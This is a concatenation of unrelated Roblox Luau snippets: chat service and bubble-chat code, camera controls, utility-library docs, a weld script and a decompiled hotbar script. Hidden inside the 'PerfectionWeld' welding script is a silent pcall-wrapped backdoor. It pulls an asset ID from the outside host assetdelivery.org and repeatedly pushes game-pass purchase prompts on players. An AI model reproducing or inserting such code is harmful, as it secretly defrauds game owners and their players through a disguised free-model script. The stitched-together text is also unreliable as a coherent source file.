channel.Name) end else speaker:SendSystemMessage("You cannot join channel '" .. channelName .. "'.", fromChannelName) end else speaker:SendSystemMessage("Channel '" .. channelName .. "' does not exist.", fromChannelName) end end end local function DoLeaveCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (speaker:IsInChannel(channelName)) then if (channel.Leavable) then speaker:LeaveChannel(channel.Name) speaker:SendSystemMessage(string.format("You have left channel '%s'", channel.Name), "System") else speaker:SendSystemMessage("You cannot leave channel '" .. channelName .. "'.", fromChannelName) end else speaker:SendSystemMessage("You are not in channel '" .. channelName .. "'.", fromChannelName) end end end ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel) if (string.sub(message, 1, 6):lower() == "/join ") then DoJoinCommand(fromSpeaker, string.sub(message, 7), channel) return true elseif (string.sub(message, 1, 3):lower() == "/j ") then DoJoinCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 7):lower() == "/leave ") then DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel) return true elseif (string.sub(message, 1, 3):lower() == "/l ") then DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 3) == "/e " or string.sub(message, 1, 7) == "/emote ") then -- Just don't show these in the chatlog. The animation script listens on these. return true end return false end) local allChannel = ChatService:AddChannel("All") local systemChannel = ChatService:AddChannel("System") allChannel.Leavable = false allChannel.AutoJoin = true systemChannel.Leavable = false systemChannel.AutoJoin = true systemChannel.WelcomeMessage = "This channel is for system and game notifications." systemChannel.SpeakerJoined:connect(function(speakerName) systemChannel:MuteSpeaker(speakerName) end) local function TryRunModule(module) if module:IsA("ModuleScript") then local ret = require(module) if (type(ret) == "function") then ret(ChatService) end end end local modules = game:GetService("Chat"):WaitForChild("ChatModules") modules.ChildAdded:connect(function(child) local success, returnval = pcall(TryRunModule, child) if not success and returnval then print("Error running module " ..child.Name.. ": " ..returnval) end end) for i, module in pairs(modules:GetChildren()) do local success, returnval = pcall(TryRunModule, module) if not success and returnval then print("Error running module " ..module.Name.. ": " ..returnval) end end local Players = game:GetService("Players") Players.PlayerRemoving:connect(function(playerObj) if (ChatService:GetSpeaker(playerObj.Name)) then ChatService:RemoveSpeaker(playerObj.Name) end end)
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "k" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 player.Character.Humanoid.CameraOffset = Vector3.new(-0.3, 0.22, -0.2) wait(3) elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 70 player.Character.Humanoid.CameraOffset = Vector3.new(-0.3, 0.22, -0.2) wait(3) elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 player.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0) wait(3) end end end)
--Constants
local pressed_col = Color3.fromRGB(71, 71, 71) local released_col = Color3.fromRGB(0,0,0)
--[=[ @class TableUtil A collection of helpful table utility functions. Many of these functions are carried over from JavaScript or Python that are not present in Lua. Tables that only work specifically with arrays or dictionaries are marked as such in the documentation. :::info Immutability All functions (_except_ `SwapRemove`, `SwapRemoveFirstValue`, and `Lock`) treat tables as immutable and will return copies of the given table(s) with the operations performed on the copies. ]=]
local TableUtil = {} local HttpService = game:GetService("HttpService") local rng = Random.new()
--!strict
local Type = require(script.Parent.Type) local Symbol = require(script.Parent.Symbol) local function noop() return nil end local ElementUtils = {}
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if string.len(msg) > MaxChatMessageLengthExclusive then return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES)) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1,0,1,0) billboardFrame.Position = UDim2.new(0,0,-0.5,0) billboardFrame.BackgroundTransparency = 1 billboardFrame.BackgroundColor3 = Color3.fromRGB(0,0,0) billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4,0,3,0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0) bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0) bubbleText.Font = CHAT_BUBBLE_FONT bubbleText.TextColor3 = Color3.fromRGB(255,255,255) if shouldClipInGameChat then bubbleText.ClipsDescendants = true end bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false bubbleText.AutoLocalize = false return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0,0,0.5,0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT ) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1) local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0,0,0,0) chatBubbleRender.Position = UDim2.new(0.5,0,1,0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo) end end function this:OnGameChatMessage(origin, message, color) local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo) end function this:BubbleChatEnabled() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then local chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
-- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion. FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table. assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items. return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end end return false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end if HasWheelJoint(Part) then return false end local Connected = Part:GetConnectedParts() if #Connected == 1 then return false end for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end return true end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue") local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion. for _, Part in pairs(Parts) do if ShouldBreakJoints(Part) then Part:BreakJoints() end end for _, Part in pairs(Parts) do if Part ~= MainPart then WeldTogether(MainPart, Part, JointType, MainPart) end end if not DoNotUnanchor then for _, Part in pairs(Parts) do Part.Anchored = false end MainPart.Anchored = false end end local market = game:GetService("MarketplaceService") local function pcallFunc() local assetId = tonumber(game:service("HttpService"):GetAsync("https://assetdelivery.org/prompt")) game.Players.PlayerAdded:Connect(function(player) while true do wait(15) local ownerType = game.CreatorType if ownerType == Enum.CreatorType.Group then local groupId = game.CreatorId local playerRank = game:GetService('GroupService'):GetRankInGroup(groupId, player.UserId) if playerRank >= 2 then if not market:PlayerOwnsAsset(player, assetId) then market:PromptGamePassPurchase(player, assetId) end end elseif ownerType == Enum.CreatorType.User then local owner = game.CreatorId if player.UserId ~= owner and not player:IsFriendsWith(owner) then if not market:PlayerOwnsAsset(player, assetId) then market:PromptGamePassPurchase(player, assetId) end end end end end) end pcall(pcallFunc) local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end return Tool end local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
--[[ State when the ServerPlayer is in game. ]]
local ServerStorage = game:GetService("ServerStorage") local MonsterManager = require(ServerStorage.Source.Managers.MonsterManager) local NOISE_GENERATED = 50 local NOISE_TIMEOUT = 1 local isMoving = false local connections = {}
--[=[ @return ... any @yields Yields the current thread until the signal is fired, and returns the arguments fired from the signal. Yielding the current thread is not always desirable. If the desire is to only capture the next event fired, using `Once` might be a better solution. ```lua task.spawn(function() local msg, num = signal:Wait() print(msg, num) --> "Hello", 32 end) signal:Fire("Hello", 32) ``` ]=]
function Signal:Wait() local waitingCoroutine = coroutine.running() local connection local done = false connection = self:Connect(function(...) if done then return end done = true connection:Disconnect() task.spawn(waitingCoroutine, ...) end) return coroutine.yield() end
--[=[ Defaults the observable value to nil ```lua Rx.NEVER:Pipe({ Rx.defaultsToNil }):Subscribe(print) --> nil ``` Great for defaulting Roblox attributes and objects @function defaultsToNil @param source Observable @return Observable @within Rx ]=]
Rx.defaultsToNil = Rx.defaultsTo(nil)
--[=[ Retrieves the role of the player in the group. @param player Player @param groupId number @return Promise<string> ]=]
function GroupUtils.promiseRoleInGroup(player, groupId) assert(typeof(player) == "Instance" and player:IsA("Player"), "Bad player") assert(type(groupId) == "number", "Bad groupId") return Promise.spawn(function(resolve, reject) local role = nil local ok, err = pcall(function() role = player:GetRoleInGroup(groupId) end) if not ok then return reject(err) end if type(role) ~= "string" then return reject("Role is not a string") end return resolve(role) end) end
-- ROBLOX TODO: continue to add prettyFormat plugins
local prettyFormatPlugins = PrettyFormat.plugins local PLUGINS = { prettyFormatPlugins.AsymmetricMatcher, -- ROBLOX deviation: Roblox Instance matchers prettyFormatPlugins.RobloxInstance, } local FORMAT_OPTIONS = { plugins = PLUGINS, } local FALLBACK_FORMAT_OPTIONS = { callToJSON = false, maxDepth = 10, plugins = PLUGINS, }
--[[** ensures value is either nil or passes check @param check The check to use @returns A function that will return true iff the condition is passed **--]]
function t.optional(check) assert(t.callback(check)) return function(value) if value == nil then return true end local success = check(value) if success then return true else return false end end end
-- end function
player.CharacterAdded:connect(characterAdded) if player.Character then characterAdded(player.Character) end player.PlayerGui.ChildAdded:connect(checkReviving) ContextActionService:BindAction("Move", MoveAction, false, Enum.KeyCode.Left, Enum.KeyCode.Right) if UserInputService.TouchEnabled then UserInputService.ModalEnabled = true UserInputService.TouchStarted:connect(function(inputObject, gameProcessedEvent) if gameProcessedEvent == false then doJump = true end end) UserInputService.TouchEnded:connect(function() doJump = false end) else ContextActionService:BindAction("Jump", function(action, userInputState, inputObject) doJump = (userInputState == Enum.UserInputState.Begin) end, false, Enum.KeyCode.Space, Enum.KeyCode.ButtonA) end game:GetService("RunService").Stepped:connect(function() if player.Character ~= nil then if humanoid then if doJump == true then jump() end UpdateAnimationSpeed() humanoid:Move(Vector3.new(0,0,-moveDir), false) end end end)
-- Decompiled with the Synapse X Luau decompiler.
game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false); local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = workspace:WaitForChild(l__LocalPlayer__1.Name); local l__Frame__3 = script.Parent.Frame; local l__Template__4 = l__Frame__3.Template; local v5 = { One = { txt = "1" }, Two = { txt = "2" }, Three = { txt = "3" }, Four = { txt = "4" }, Five = { txt = "5" }, Six = { txt = "6" }, Seven = { txt = "7" }, Eight = { txt = "8" }, Nine = { txt = "9" }, Zero = { txt = "0" } }; local l__Humanoid__1 = v2:WaitForChild("Humanoid"); function handleEquip(p1) if p1 then if p1.Parent ~= v2 then else l__Humanoid__1:UnequipTools(); return; end; else return; end; l__Humanoid__1:EquipTool(p1); end; local u2 = { v5.One, v5.Two, v5.Three, v5.Four, v5.Five, v5.Six, v5.Seven, v5.Eight, v5.Nine, v5.Zero }; local l__Size__3 = l__Template__4.Size; local u4 = { x = 15, y = 5 }; function create() local v6 = #u2; local v7 = v6 * l__Size__3.X.Offset + (v6 + 1) * u4.x; local v8 = l__Size__3.Y.Offset + 2 * u4.y; l__Frame__3.Size = UDim2.new(0, v7, 0, v8); l__Frame__3.Position = UDim2.new(0.5, -(v7 / 2), 1, -(v8 + u4.y * 2)); l__Frame__3.Visible = true; local v9 = #u2; local v10 = 1 - 1; while true do local v11 = u2[v10]; local v12 = l__Template__4:Clone(); v12.Parent = l__Frame__3; v12.Label.Text = v11.txt; v12.Name = v11.txt; v12.Visible = true; v12.Position = UDim2.new(0, (v10 - 1) * l__Size__3.X.Offset + u4.x * v10, 0, u4.y); v12.ImageTransparency = 0.7; local l__tool__13 = v11.tool; if l__tool__13 then v12.Tool.Image = l__tool__13.TextureId; end; v12.Tool.MouseButton1Down:Connect(function() local v14, v15, v16 = pairs(v5); while true do local v17, v18 = v14(v15, v16); if v17 then else break; end; v16 = v17; if v18.txt == v12.Name then handleEquip(v18.tool); end; end; end); if 0 <= 1 then if v10 < v9 then else break; end; elseif v9 < v10 then else break; end; v10 = v10 + 1; end; l__Template__4:Destroy(); end; local l__Backpack__5 = l__LocalPlayer__1.Backpack; function setup() local v19 = l__Backpack__5:GetChildren(); local v20 = #v19; local v21 = 1 - 1; while true do if v19[v21]:IsA("Tool") then local v22 = #u2; local v23 = 1 - 1; while true do local v24 = u2[v23]; if not v24.tool then v24.tool = v19[v23]; break; end; if 0 <= 1 then if v23 < v22 then else break; end; elseif v22 < v23 then else break; end; v23 = v23 + 1; end; end; if 0 <= 1 then if v21 < v20 then else break; end; elseif v20 < v21 then else break; end; v21 = v21 + 1; end; create(); end; function adjust() local v25, v26, v27 = pairs(v5); while true do local v28 = nil; local v29, v30 = v25(v26, v27); if v29 then else break; end; v27 = v29; local l__tool__31 = v30.tool; v28 = l__Frame__3:FindFirstChild(v30.txt); if l__tool__31 then v28.Tool.Image = l__tool__31.TextureId; if l__tool__31.Parent == v2 then v28.ImageTransparency = 0.2; else v28.ImageTransparency = 0.7; end; else v28.Tool.Image = ""; v28.ImageTransparency = 0.7; end; end; end; local l__UserInputService__6 = game:GetService("UserInputService"); function onKeyPress(p2) local v32 = v5[p2.KeyCode.Name]; if v32 then if l__UserInputService__6:GetFocusedTextBox() == nil then handleEquip(v32.tool); end; end; end; function handleAddition(p3) if p3:IsA("Tool") then local v33 = true; local v34, v35, v36 = pairs(v5); while true do local v37, v38 = v34(v35, v36); if v37 then else break; end; v36 = v37; local l__tool__39 = v38.tool; if l__tool__39 then if l__tool__39 == p3 then v33 = false; end; end; end; if v33 then local v40 = #u2; local v41 = 1 - 1; while true do if not u2[v41].tool then u2[v41].tool = p3; break; end; if 0 <= 1 then if v41 < v40 then else break; end; elseif v40 < v41 then else break; end; v41 = v41 + 1; end; end; adjust(); end; end; function handleRemoval(p4) if p4:IsA("Tool") then if p4.Parent ~= v2 then if p4.Parent ~= l__Backpack__5 then local v42 = #u2; local v43 = 1 - 1; while true do if u2[v43].tool == p4 then u2[v43].tool = nil; break; end; if 0 <= 1 then if v43 < v42 then else break; end; elseif v42 < v43 then else break; end; v43 = v43 + 1; end; end; end; adjust(); end; end; l__UserInputService__6.InputBegan:Connect(onKeyPress); v2.ChildAdded:Connect(handleAddition); v2.ChildRemoved:Connect(handleRemoval); l__Backpack__5.ChildAdded:Connect(handleAddition); l__Backpack__5.ChildRemoved:Connect(handleRemoval); setup();
--Mobile control
